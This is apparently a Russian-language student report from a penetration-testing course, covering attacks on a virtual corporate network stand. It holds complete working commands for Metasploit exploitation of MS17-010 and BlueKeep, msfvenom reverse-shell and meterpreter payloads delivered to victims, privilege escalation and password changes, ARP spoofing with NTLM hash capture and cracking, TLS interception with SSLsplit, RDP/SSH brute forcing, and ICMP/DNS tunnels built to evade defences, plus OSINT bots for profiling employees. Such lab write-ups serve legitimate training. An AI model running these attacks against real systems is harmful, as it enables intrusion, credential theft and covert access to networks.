---
# System prepended metadata

title: 1. Атаки первоначального доступа

---

# 1. Атаки первоначального доступа

## Разведка
1. Иследование, анализ сферы деятельности организации.
2. Определение часто используемой структуры сети и используемых сервисов для организаций данной сферы деятельности. (пример, для организаций сверы ЖКХ)
3. Определение IP адресов организации. (через отправку специально подготовленных электронных писем или средствами социальной инженерии).
4.  Сканирование выявленных ip адресов на наличие портов служб которые смотрят на ружу, а так же определение оборудования которое стоит на границе периметра.

## Сценарии проникновения 

1. Подбор учетных данных на доступные сервисы RDP, SSH, Radmin, Ammyy Admin и подобные.
2. Эксплуатация вэб уязвимостей.
3. Иньекции в БД.
4. Эксплуатациии уязвимости сетевого оборудования стоящего на границе периметра.
5. Социальная инженерия.
6. Атаки на протоколы сетевого и канального уровня.
7. Физическая кража оборудование или носителей ключей доступа.
8. Отправка фишинговых электронных писем, а так же писем с вирусами и троянскими программами.
9.  Физическое проникновение в организацию и получение доступа к оборудованию или сети с возможностью установки закладки.


# 2. OSIN и социальная инженерия
### Задание
Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. Собранные данные включать в отчет не нужно!

### Инструменты для сбора информации о доменах и субдоменах компании.

   subfinder
   gau
-   amass
-   altdns
-   dnsgen, massdns, subbrute
-   wget

ubfinder - subdomain discovery tool. Его главный плюс в том, что он собирает информацию с помощью API. Это позволяет выполняться пассивно и незаметно.

пример использования 
`kali@kali:~$ subfinder -nW -oI -o ~/tmp/sib-nsk.log -d sib-nsk.net`

-   `-nW` - удаление мёртвых поддоменов из вывода
-   `-oI` - запись вывода в формате Host, IP
-   `-o ~/tmp/sib-nsk.log - файл, в который запишем результат
-   `-d sib-nsk.net` - домен для поиска поддоменов

в лог файле мы увидим доменные имена и ip  адреса на которых они висят

после можно воспользоваться сервисом hunter.io для поиска e-mail адресов с привязкой к конкретному домену


![](https://i.imgur.com/pjxxCBa.png)


Утилита gau для поиска URL 

установка 

go install github.com/lc/gau/v2/cmd/gau@latest

использование 

~/go/bin/gau --subs sib-nsk.net 

![](https://i.imgur.com/t8xzHzy.png)


используя различные инструменты можно из этого вывода выдернуть документы для изучения наличия вних персональных данных.

При помощи ресурсов типа https://2ip.io/domain-list-by-ip/ можно просмотреть какие еще домены могут висеть на конкретном  IP  адресе.

С помощью утилиты dig мы можем просмотреть на каком из найденых нами доменов висит почта 
dig MX sib-nsk.net


при помощи телеграмм бота по номеру телефона и почте можно узнать информацию о человеке

https://t.me/+DPwC7zLpjoM5ZDcy

также есть бот "Глаз Бога"  но он работает по платной подписке.


# Тема 3.  Сканирование сети корпоративной инфраструктуры

### Задачи

а) Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW) 
б) Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии 
в) Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3. 
г) Установить сетевой сканнер Nessus (будет необходим VPN) и просканировать внешний периметр инфраструктуры

## Настройка инфраструктуры

Итоговая структура сети выглядит так 

![](https://i.imgur.com/B98R4F4.png)


### настройки pfSense 

Проброс портов для RDP и SMB
![Uploading file..._ca3v6oh9x]()

и разрешающие правила
![](https://i.imgur.com/driNc0v.png)


## Сканирование внешнего периметра

Начнем сканирование с утилиты nmap всей подсети 10.10.51.0.24

`nmap 10.10.51.0/24 -v`


![](https://i.imgur.com/XPAH9U9.png)

Внешний адрес нашего pfSense 10.10.51.57
утилита почемуто нашла два открытых порта сканирование конкретно нашего ip адреса 

`nmap 10.10.51.57 -A`

![](https://i.imgur.com/OcKNxvK.png)
![](https://i.imgur.com/zaV3phG.png)


Воспользуемся возможностью nmap подключать скрипты для более детального сканирования хоста (определения версий уязвимости)

`nmap 10.10.51.57 -A -sV --script=*vuln*`

найдена одна уязвимость ms17-010

![](https://i.imgur.com/avni7mM.png)


### Эксплуатация найденной уязвимости

воспользуемся утилитой Metasploit Framework console
для запуска введем команду
`msfconsole`

![](https://i.imgur.com/EZU9DD8.png)


проведем поиск по номеру уязвимости

`msf6 > search CVE-2017-0143`

![](https://i.imgur.com/re7a6ks.png)


выдан список возможных эксплоитов 

воспользуемся самым первым эксплоитом, введем команду `use 0`

для просмотра возможных опций этого эксплоита введем команду `show options`

![](https://i.imgur.com/qomVGjI.png)


нам достаточно прописать опцию RHOSTS делается это командой `set RHOSTS` 10.10.51.57
командой `run` мы запускаем данный эксплоит

![](https://i.imgur.com/DgJyj72.png)

в итоге эксплоит прошел удачно и мы получили доступ 

![](https://i.imgur.com/7d4rns0.png)


### Реализуем еще одну уязвимость bluekeep

выходим в командную строку msfcomsole? и ищем эксплоит bluekeep
`search bluekeep`

далее выбираем наш экслоит 

![](https://i.imgur.com/64WCWBP.png)



проверяем какие есть опции на этом эксплоите и задаем ему опцию RHOSTS
не забываем установить версию ОС в ошции Exploit target
и запускаем

![](https://i.imgur.com/QgoknZk.png)

Эксплорер отработал и мыы получили доступ к win7 машине

![](https://i.imgur.com/SiXFO3r.png)



## Утановка Nessus

При помощи vpn скачиваем и устанавливаем Nessus, так же на сайте нужно зарегистрироваться и получит ключь активации

![](https://i.imgur.com/THMWmN4.png)


запускаем службу 

![](https://i.imgur.com/C4iz99f.png)


и в браузере заходим по адресу http://127.0.0.1:8834
 Выбираем версию
![](https://i.imgur.com/NXXskvh.png)

Вводим регистрационый код  а также логин и пароль

![](https://i.imgur.com/3dpEIFS.png)


и дожидаемся скачивания и установки плагинов

![](https://i.imgur.com/OOtKXbr.png)


После установки плагинов нам срузу предлагается указать цель для сканирования 

![](https://i.imgur.com/bWV4cXk.png)


Через некоторое время нам выдатсся какие уязвимости были найдены 
![](https://i.imgur.com/0r0EUPj.png)
![](https://i.imgur.com/PVyyFdx.png)

# Тема 4. Проникновение за периметр инфраструктуры. Технология SSH Port forwarding  SSH Tunneling. Проксирование трафика

### Задачи 
а) Создать проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding 
б) Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. 
в) Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника 
г) Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер

## a) Проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding 

Проверяем запушен ли ssh служба на внешней Kali linux машине командой 
`service ssh status
если не запущен запускаем его 

![](https://i.imgur.com/OmPsTvl.png)

В нашем случае он запущен.

Провряем возможность подключения из нутри инфраструктуры на наш внешний ssh сервер


![](https://i.imgur.com/D76e94E.png)
![](https://i.imgur.com/prtPMwI.png)



все хорошо подключается

пробросим порт 3389 с windows10 на порт 3390 Kali linux
для этого в командной строке windows 10 пропишем следующую команду

`ssh -R 3390:127.0.0.1:3389 user@10.10.51.96`

попробуем теперь с Kali linux подключиться по RDP к Windows 10 машине в обход файервола

![](https://i.imgur.com/MjIzXqV.png)

в водим команду
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390`

И видим подключение к Windows 10

![](https://i.imgur.com/rnsFtSX.png)


Для проброса 445 порта используется таже команда только вместо 3389 указывается 445 порт и далее по аналогии

Команда для проброса порта на другой компьютер
`ssh -R 3391:192.168.1.113:3389 user@10.10.51.96`
в данном случее проброс будет сделат через windows10 машину на windows7

### L3 тоннель с помощью SSH Tunneling

Произведем настройку внешей Kali linux машины

в файле настройки ssh сервера раскоментируем (или добавим) параметры

`PermitionRoorLogin yes`  -разрешаем подключение root к ssh
`PermitTunnel yes`  -разрешает использование перенаправления для устройств TUN

Тонель поднимается при помощи ключа -w

для этого бедем использовать Debian машинку находящиюся в нутри инфраструктуры и введем следующую команду

`ssh -w any:ane root@10.10.51.185`

![](https://i.imgur.com/dFmpFWA.png)

откроим еще один терминал на этой машине командой Alt+F2 для донастройки

Видим появившейся адаптер tun0 но он не активен

![](https://i.imgur.com/hbZdEAi.png)

назначим ip адрес на этот интерфейс
 `ip addr add 172.10.10.2/24 dev tun0`
 включим этот интерфейс
 `ip link set dev tun0 up`
 
 ![](https://i.imgur.com/JosjMCr.png)

включаем маршрутизацию 
вфайле /etc/sysctl.conf нужно раскоментировать параметр net.ipv4.ip_forward=1
после применим настройки командой `sysctl -p`

![](https://i.imgur.com/vMpYSUj.png)


Настроим правила NAT чтобы трафик идущий из любых интервейсов натился на интерфейс ens3 
`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`

приступим к донастройке kali linux машине

назначим нашему новому интерфейсу ip адрес

`ip addr add 172.10.10.1/24 dev tun0`

`ip link set dev tun0 up`

и добавляем маршрут до сети 192.168.1.0/24

`ip route add 192.168.1.0/24 via 172.10.10.2`

можно попробовать зайти на pfSense с Kali linux машины по адресу 192.168.1.1

![](https://i.imgur.com/SLPpcsG.png)


### L2 тоннель с помощью SSH Tunneling

Подключим в нашу инфраструктуру еще одну debian машину и на ней будем проводить эксперимент

Настроим сеть и установим на ней bridge-utils (`apt install bridge-utils`)

Запустим соединение по ssh следующей командой 
`ssh root@10.10.51.185 -o Tunnel=ethernet -w any:any`

включаем интерфейс 
`ip link set tap0 up`
добавляем созданный тонель в бридж 
`brctl addif br0 tap0`

![](https://i.imgur.com/C5lTKUA.png)


Зайдем на внешнюю Kali linux и на ней настроим тонель

включаем интерфейс 
`ip link set tap0 up`

и получаем по dhcp  на этот интерфейс адрес
`dhclient tap0`

![](https://i.imgur.com/WeWSS9M.png)


## Выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер

Для использования SSH proxy нужно использовать ssh со следующими параметрами

`ssh -f -qNTn -D *:8888 user@10.10.51.185`



# Тема 5. Проникновение за периметр инфраструктуры. OpenVPN L3, L2 Tunneling

### Задачи
а) Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. 
б) Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника

### Настройка стенда

добавим на наш стенд дополнительно одну debian машину, обзавем ее RPi (raspberry pi)  в конфигурации добавим 3 сетевых интерфейса, два будут работать в режиме бриджа а один смотреть во внешнюю сеть эмулируя LTE модем.

![](https://i.imgur.com/G3Wi7ir.png)

Также создадим дополнительно два VLAN  10 и 20 в 10 будет windows 10 машина  а в 20 debian, windows 7 останется в VLAN 1.

Дополнительно добавим еще одну Kali linux  машину для поднятия на ней openvpn сервера

### Построить OpenVPN L3
на RPI-4 установим openvpn client
`apt install openvpn`
а также включим маршрутизацию
в файле /etc/sysctl.conf, раскоментируем строчку net.ipv4.ip_forward=1
и применим изменения sysctl -p

вешаем ip адрес на бридж интерфейс 

`ip addr add 192.168.1.97/24 dev br0`

и настроим nat на бридж интерфейсе

`iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE`


на внешней Kali linux машине скачиваем скрипт 
`curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
делаем его исполняемым 

`chmod +x openvpn-install.sh

Запускаем
`./openvpn-install.sh`
помере выполнения отвечаем на вопросы
после выаолнения скрипта в конце он запросит как обозвать клиента и по этому имени создаст сщташгурационный файл для этого  клиента. В нашем случае создался файл user.ovpn скачиваем этот файл на нашу RPi машину.

редактируем файл конфигурации openvpn сервера, приводим его к виду как указанно на скриншоте

![](https://i.imgur.com/PwjyQOE.png)


перезапускаем openvpn сервер
`service openvpn restart`

в папке /etc/openvpn/ccd создадим файл с именем нашего профиля (клиента) 

`nano user`
 пропишем в нем какие сети находятся за этим клиентом
`iroute 192.168.1.0 255.255.255.0`

![](https://i.imgur.com/fHMIi94.png)


пропишем маршрут `ip route add 192.168.1.0/24 via 10.8.0.2`

так же немного редактируем файл конфигурации openvpn клиента приводим его к виду как указанно на скриншоте

![](https://i.imgur.com/0qQ4KYd.png)


подключаемся к openvpn серверу

`openvpn user.conf`

с Kali linux пробуем пропинговать адрес 192.168.1.1 и видим что пинги проходят, а значить мы имеем доступ во внутреннюю инфраструктуру

![](https://i.imgur.com/4chmrxe.png)


### L2 OPENVPN  тунель

настройки сервера

nano /etc/openvpn/server.conf

port 1194
proto udp
#dev tun
dev tap
user nobody
group nogroup
persist-key
persist-tun
keepalive 10 120
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
#push "dhcp-option DNS 8.8.8.8"
#push "dhcp-option DNS 8.8.4.4"
#push "redirect-gateway def1 bypass-dhcp"
dh none
ecdh-curve prime256v1
tls-crypt tls-crypt.key
crl-verify crl.pem
ca ca.crt
cert server_7hSP84aWqqcYZwQ5.crt
key server_7hSP84aWqqcYZwQ5.key
auth SHA256
cipher AES-128-GCM
ncp-ciphers AES-128-GCM
tls-server
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256
client-config-dir /etc/openvpn/ccd
status /var/log/openvpn/status.log
verb 3


перезапускаем openvpn

service openvpn restart


![](https://i.imgur.com/KJgW9BU.png)


Настройки клиента

nano user.conf

![](https://i.imgur.com/3baJ0fH.png)

Меняем настройки сети на клиенте

/etc/network/interfaces

Добавляем как на скриншоте

![](https://i.imgur.com/DIV4n4b.png)


настраиваем автоматический запуск openvpn сервер

systemctl enable openvpn

для того что бы автоматически подтягивался конфиг для openvpn  перенесем конфигурационый вайл в папку /etc/openvpn

mv user.conf /etc/openvpn/

укажем опенвпн серверу конкретно какой конфигурационный файл брать при автозапуске

nano /etc/default/openvpn


![](https://i.imgur.com/Spp19Pg.png)


Создаем скрипт для автоматической перезапуска сети 

для этого в папке etc/openvpn создаем скрипт

cd /etc/openvpn
nano up.sh

#!/bin/bash
/usr/bin/systemctl restart networking.service

Разрешаем на запуск

chmod +x up.sh

в файл user.conf добавляем 
script-security 2
up /etc/openvpn/up.sh

![](https://i.imgur.com/fl9yNcG.png)


после чего перезагружаем устройство и  openvpn клиент автоматически подключается

# Тема 6. Вредоносное программное обеспечение в корпоротивной среде.

### Настройки рабочей среды
#### Kali Linux

Нужно в одной консоли запустить msfconsole
show payloads - просмотр payloads

выбираем эксплоит 
use exploit/multi/handler

просмотр опций

show options

![](https://i.imgur.com/sVn19NV.png)

Устанавливаем параметр LHOST

set lhost 0.0.0.0

устанавливаем выбранный payloads

set payloads windows/x64/meterpreter/reverse_tcp

Смотрим какие опции присутствуют на этом payloads

show options


![](https://i.imgur.com/3IgLBmd.png)


при помощи утилиты msfvenom создаем запускаемый файл

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe 
-o reverse-tcp-meterpreter.exe

В результате чего создастся файл reverse-tcp-meterpreter.exe 

![](https://i.imgur.com/ftEubdw.png)


С помощью python зоздаем веб сервер в котором будет находится наш файл

sudo python -m http.server 80

далее с жертвы заходим на этот сервер и скаиваем нужный нам файл  и запускаем его.
 на атакующем компьютере имеем доступ

![](https://i.imgur.com/ZaTKyDL.png)

создание payload для подключения по RDP

set payload windows/x64/vncinject/reverse_tcp

msfvenom -p windows/x64/vncinject/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-vnc.exe

в итоге на атакующей машине запустится сессия vnc с доступом к жертве

Настроим проброс портов

Вернемся к сессии  set payloads windows/x64/meterpreter/reverse_tcp (session N) или если она не запущенна запустим

введем команду 

portfwd add -L 10.10.51.58 -l 3395 -p 3389 -r 192.168.10.10

Смотрим соединения которые получились 

portfwd list

![](https://i.imgur.com/jvsve4t.png)


Пробуем подключиться по RDP 

xfreerdp /u: user /p:eve@123 /v:10.10.51.58:3395

в итоге получаем сессию rdp

![](https://i.imgur.com/9bCSgb6.png)


### Постэксплуатация 

use post/windows

для примера используем следующую комманду

use post/windows/escalate/unmarshal_cmd_exec

устанавливаем запущенную сессию 
set session N (где N номер ссесии которую можно посмотреть коммандой show sessions)

и запускаем 

![](https://i.imgur.com/N5WUAyL.png)


в итоге на атакуемой машине имеем пользователя с правами администратора.

попробуем изспльзовать скрипт post/windows/manage/change_password

посмотрим опции

![](https://i.imgur.com/MjfLlMG.png)


установим опции и запустим скрипт

![](https://i.imgur.com/OQ4DbSf.png)

Пароль изменен

Запустим еще один скрипт я так понял получает список локальных администраторов

![](https://i.imgur.com/Z6UAdGZ.png)



## Reverse HTTPS-подключения


```
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.51.58 lport=443 -f exe -o 443.exe
```
Закидываем файл 443.exe на компьютер жертвы, а на атакуемом компьютере запускаем mfsconsole   и вводим следующие комманды

```

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
msf exploit(handler) > set lhost IP 10.10.51.58
msf exploit(handler) > set lport 443
run
```
В итоге имеем досттуп 

![](https://i.imgur.com/YaForUX.png)


### PowerShell reverse tcp

запускаем mfsconsole   и вводим следующие комманды

```
set payload cmd/windows/reverse_powershell
set lhost 10.10.51.58
set lport 4444
run
```

зоздадим пэйлоад 

```
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.51.58 lport=4444 -o shell.bat
```

Зальем его на жертву и запустим 

![](https://i.imgur.com/T9iCeS0.png)



## Stealers 
Это программное обеспечение которое позволяет похищать критически важную информацию.

https://github.com/tiagorlampert/sAINT


# Тема 7. Особенности атак, использующих метод перехвата трафика

### 1. Подготовка стенда
 Добавляем новую машину контроллера домена на windows server 2016
Назначаем статический IP адресс 192.168.1.200
поднимаем службу контроллера домена и DNS сервер
на машинах с windows 10 и Windows 7  всетевых настройках меняем адресс DNS на 192.168.1.200
Вводим win7 and win10 машины в домен 

### 2. Практическая часть
#### Перехват трафика

Для начала сканируем внутренную сеть.

На Kali Linux устанавливаем пакет dsniff (apt install dsniff)
в этом пакете находится уьтилита для перехвата трафика
arpspoof для arp spoof  атаки  между двумя хостами

arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.102


![](https://i.imgur.com/4CZUkvI.png)


на скриншоте выдем атаку

на KAli запустим wireshark  и посмотрим что мы получаем трафик между контроллером домена 192.168.1.200 и виндовс машинкой 192.168.1.102


![](https://i.imgur.com/ADN3cTZ.png)


попробуем разобрать проходящий трафик при помощи утилиты responder

responder -I eth0 -wd

видем NTLM авторизацию и хеш пароля 

![](https://i.imgur.com/yHbtu26.png)


так же попробуем перенаправить соединение по 445 порту на наш респондер
для этого пропишем правило 
iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445

после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем


![](https://i.imgur.com/nTXnGaP.png)


### SSLsplit

Ссылка на статью https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traff

для начала подготовим контроллер домена на стенде
для этого настроим на нем сертификаты

запустим с правами администратора mmc  и добавим в неее остнастку  Certificates

![](https://i.imgur.com/YZRQzQm.png)


также в контроллер домена добавим роль центра сертификации

по статье генерируем ключи 

создаем папку для сертификата

mkdir ssl
cd ssl

генерируем 
1.  `openssl genrsa -out ca.key 4096`
2. 1.  `openssl req -new -x509 -key ca.key -out ca.crt`

![](https://i.imgur.com/horcqsH.png)


добавляем правила iptables

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

создаем дополнительные папки 
mkdir /tmp/sslsplit/ 
mkdir logdir

Меням параметры arpspoofing

arpspoof -i eth0 -t 192.168.1.102 -r 192.168.1.1

И запускаем sslsplit

sslsplit \ -D \ -l connections.log \ -j /tmp/sslsplit/ \ -M ssl_key_logfile \ -S logdir/ \ -k ca.key \ -c ca.crt \ ssl 0.0.0.0 8443 \ tcp 0.0.0.0 8080

и видем подмену сертификата

![](https://i.imgur.com/j6sxOLZ.png)


Скачиваем и устанавливаем наш сертификат на машине с windows 7

перезапускаем браузер и повторно открываем сайт ptsecurity.com
и видим что сертификат вполне действительный.

![](https://i.imgur.com/7j3s7ZX.png)


для просмотра тарфика запустим wireshark

в настройках wirwshark добавим (Pre)-Master-Secret log filename


![](https://i.imgur.com/d4q6Upi.png)


итог мы можем спомощью подмены сертификата захватывать зашифрованный трафик и расфифровывать его.

![](https://i.imgur.com/ZTVBECc.png)

# Тема 8. Особенности атак, использующих метод грубой силы

### Задачи 
а) Подготовить инфраструктуру для проведения BruteForce атак
б) Провести атаку на сервис RDP 
в) Провести атаку на сервис SSH 
г) Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш


### BruteForce

Начнем с BruteForce атаки на перехваченный  NTLMv2 хеш с помощью Responder 

responder -I eth0 -wd

видем NTLM авторизацию и хеш пароля 

![](https://i.imgur.com/ECV4iKS.png)


так же попробуем перенаправить соединение по 445 порту на наш респондер
для этого пропишем правило 
iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445

после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем

![](https://i.imgur.com/vLJTHtQ.png)

для подбора пароля по хеш будем использоваать утелиту hashcat

Для начала распакуем словарь по которому будем подбирпть пароль

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

hashcat -a 0 -m5600 SMB-NTLMv2-SSP-192.168.1.102.txt /usr/share/wordlists/rockyou.txt -o pass.txt


![](https://i.imgur.com/qxMUnKz.png)


по завершению работы мы можем посмотреть результат в файле pass.txt

![](https://i.imgur.com/jUKUjKf.png)


где видем подобранный пароль eve@123


### RDP

Подбор будем проводить при помощи Lazy-RDP

Установка

```
git clone https://github.com/getdrive/lazy-rdp

cd lazy-rdp && chmod +x hydra/configure hydra/hydra src/rdp_brute.sh patator.py start INSTALL

```

  Установка зависимостей  
   
   ```
    ./INSTALL
   ```
   
Запуск скрипта

    
    ```
      ./start
    ```


![](https://i.imgur.com/bebAdcO.png)


оставляем порт по умолчанию, так как мы будем подбирать пароль к RDP


![](https://i.imgur.com/vwMMPPo.png)


Здесь в нашем случае выбираем 1 и указываем для сканирования либо отдельный ip адресс либо диапазон

![](https://i.imgur.com/7G01L53.png)


Указываем чем сканировать будем. Выберем nmap

После сканирования на непродолжительное время покажет что нашла и предложит выбрать метод подбора пароля

![](https://i.imgur.com/3AIcAAE.png)


Выберем 3 (Подбор по словарю как имени пользователя так и пароля)

![](https://i.imgur.com/GJy2NuZ.png)


Укажем путь к файлу с именами и файлу с паролями

![](https://i.imgur.com/2SbRQJo.png)


укажем чем непосредственно будем брутфорсить

выберем 1

![](https://i.imgur.com/RQpHLAo.png)


Запустится процесс подбора

![](https://i.imgur.com/NaIDW2x.png)


Через какоето время пароль подобран.

# ssh-bruteforce

Будем использовать иструмент ssb скачаем и установим с 

https://github.com/kitabisa/ssb

для скачивания и установки выполним команду из под root
curl -sSfL 'https://git.io/kitabisa-ssb' | sh -s -- -b /usr/local/bin

для подбора пароля введем следующую команду 

ssb -p 22 -w pass -o creds.txt root@192.168.1.106

где -w pass файл со словарем паролей
-o creds.txt файл куда сохранится пароль

![](https://i.imgur.com/PySvPhF.png)


и после запуска утилита подобрала успешно пароль

# Тема 9. Инструменты скрытия трафика от систем защиты

### Задачи

а) Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля. 
б) Выполнить реализацию ICMP тоннеля 
в) Выполнить реализацию RAW DNS тоннеля (простой способ) 
г) Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ)

### ICMP тонель

подготовка инфраструктуры 

cсклонирунм утилиту hans с гитхаб на компьютер с кали линукс который расположен с наружи нашей инфраструктуры.

git clone https://github.com/friedrich/hans

Заходим в скачаную папку и комилируем командой make

после в этой папке у нас появится исполняемый файл hans

![](https://i.imgur.com/hYGCGQZ.png)

анологично скачиваем и компилируем данную утилиту и на компьютер с debian внутри инфраструктуры, может понадобится установка дополнительных утелит такой как net-tools


На Kali linux запускам сервер hans командой 

./hans -s 10.1.2.0 -p Aa123456

где -s 10.1.2.0 создаваемая сеть, приэтом серверу назначиться адрес 10.1.2.1
-p Aa123456 пароль

![](https://i.imgur.com/9Xvwdlm.png)

создался тоннель tun0
Запустим клиента на debian машине в нутри инфраструктуры

для этого выполним следующую команду 

./hans -c 10.10.51.96 -p Aa123456

![](https://i.imgur.com/rehj1LX.png)


создался так же тоннель tun0 и назначен адрес 10.1.2.100

Настроим выход и ифраструктуры для debian машины через созданный icmp тонель

для этого пропишем маршруты

на Kali Linux
пропишим NAT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

на Debian 
пропишем маршрут 

ip route add 10.10.51.96/32 via 192.168.20.254

удаляем дефолтный маршрут 
ip route delete default

и добавим новый маршрут
ip route add default via 10.1.2.1

Посмотрим как теперь идут маршрути на ya.ru


![](https://i.imgur.com/mBv3Pil.png)


Запустим wireshark на интерфейсе e0 pfSense

и увидим большое колличество icmp пакетов в data которых встречается hans что говорит о том что используется утилита hans

![](https://i.imgur.com/SxuTBlb.png)


в обычном icmp запросе такого нету 

## RAW DNS тоннель (простой способ) 
Будем использовать статью https://habr.com/ru/post/129097/

На Kali linux машине которая находится за пределами инфраструктуры установим утилиту iodine

apt install iodine

аналогично ставим и на debian машине которая находится внутри инфраструктуры

Далее на Kali linux  машине запускаем серверную часть утилиты iodine

iodined 10.99.99.1/24 -c i.ptlab.net

![](https://i.imgur.com/6iZT9sK.png)



на debian машине запускаем клиента, предварительно поменяв DNS 

![](https://i.imgur.com/gv9cCTf.png)


После запускаем клиента командой 

iodine -P Qq123456  i.ptlab.net

![](https://i.imgur.com/BhhEmLx.png)


тунель создан и мдаже можно подключиться по ssh


![](https://i.imgur.com/pJomyoI.png)


![](https://i.imgur.com/2Od7biD.png)




Но данный метод имеет минусы один из них это отсутсвиие  DNS на клиенте.

## Реализация DNS тоннеля через корпоративный DNS сервер (сложный способ)

Подготовим ифраструктуру, для этого на стенде за переделим организации установим и настроим внешний DNS сервер, на базе windows server 2016

![](https://i.imgur.com/YXmHQaX.png)


настраиваем делелгирование

![](https://i.imgur.com/PWn2yBn.png)


Так же нужно перенастроить  DNS на контроллере домена находящийся в нутри организации

![](https://i.imgur.com/9EmHoZr.png)


стенд подготовлен.

Переходим на debian машину, перезагружаем ее, прописываем наш DNS сервер 192.168.1.200

утилитой dig  смотрим на записи ptlab.net видим что А запись ссылается на адрес 10.10.51.186

![](https://i.imgur.com/1mhtT5M.png)


попробуем опять подключиться iodine к серверу

iodine -P Qq123456  i.ptlab.net

![](https://i.imgur.com/tAb93OA.png)


Вэтом варианте мы можем резолвить адреса

![](https://i.imgur.com/2e0HIfJ.png)



Посмотрим на трафик который идет во внешнюю сеть 


(тут у меня почемуто перестали вставляться картинки, поэтому вставляю ссылки на них)
[Screenshot_54](https://cloud.mail.ru/public/vgyL/VcJv6c98Y)


Заметим что днс трафик содержит непонятные вещи, по которым можно легко определить что есть какойто тунель в DNS трафике

Перейдем к следующему этапу тестирования, 

для начала отключим существующий  днс тонель
[Screenshot_55](https://cloud.mail.ru/public/h5ZG/9Rwasrzhz)

Отключим доступ до внешних ресурсов кроме нашего внешнего DNS серовера
проверим утилитой dig запросы на mail.ru и у собственного днс сервера мы получаем данные, а из внешнего нет.
[Screenshot_56](https://cloud.mail.ru/public/axYQ/3N34YBze3) 

закрываем вообще весь трафик кроме 53 порта

[Screenshot_57](https://cloud.mail.ru/public/nLdm/D9xdHCPrD)
[Screenshot_58](https://cloud.mail.ru/public/JvyM/Guv1XhRSq)

в очередной раз попробуем подключиться iodine к серверу

iodine -P Qq123456  i.ptlab.net

[Screenshot_59](https://cloud.mail.ru/public/8Nss/ic2LSE6vy)
и мы видим, что утилита не смогла получить доступ через raw логин и начала реализовывать доступ через dns стрим и в итоге таки установила соединение.

а так же появился наш тонель 

[Screenshot_60](https://cloud.mail.ru/public/MmgP/9Lr2Wt9yA)

Пропишим нужные нам маршруты

ip route add 192.168.1.200 via 192.168.20.254

удалим дефолтный маршрут и добавим новый дефолтный маршрут

ip route delete default
ip route add default via 10.99.99.1

[Screenshot_62](https://cloud.mail.ru/public/ESb8/MjErRQ9nU)

в итоге мы видим что у нас есть выход во вне и wireshark показывает Standart query dns запросы. 

## Конец




